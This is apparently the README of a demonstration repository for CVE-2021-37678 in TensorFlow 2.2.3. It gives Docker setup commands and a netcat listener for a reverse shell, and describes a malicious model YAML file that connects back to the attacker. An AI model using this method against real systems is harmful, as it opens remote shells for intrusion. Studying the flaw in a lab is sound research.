CVE-2021-37678 Exploit

To exploit the vulnerability, it is necessary to start a Docker container with an environment prepared to run Tensorflow with version 2.2.3 which still has the vulnerability. It consists of:

• An AMD 64-bit architecture,
• CPU or GPU that can execute AVX instructions
• Python 64-bit version 3.6.9
• Pip3 version 20.2.4
• Tensorflow version 2.2.3
• PyYAML version 3.12

Check if the machine has Docker installed by running:

docker -v

Once our operating system has Docker installed, run the following commands in the root folder of this repository to build and start the application:

docker-compose build

docker-compose up

Or, to start without Docker Compose:

docker build -t docker-exploit-tensorflow-vulnerability:1.0 . # to build the image

docker run --add-host=host.docker.internal:host-gateway --name exploit-tensorflow-vulnerability docker-exploit-tensorflow-vulnerability:1.0 # to create and launch the process for the first time
docker start -a exploit-tensorflow-vulnerability # to launch the process again

For the reverse shell to work, you need to have netcat installed on the attacker machine, and set up a listening port for an SSH session. Example:

nc -lvp 10000

Then, the vulnerability will be exploited using a malicious AI model, from which we will initiate the connection with the attacker. You need to configure the attacker's IP and listening port in the reverseShell.yaml file.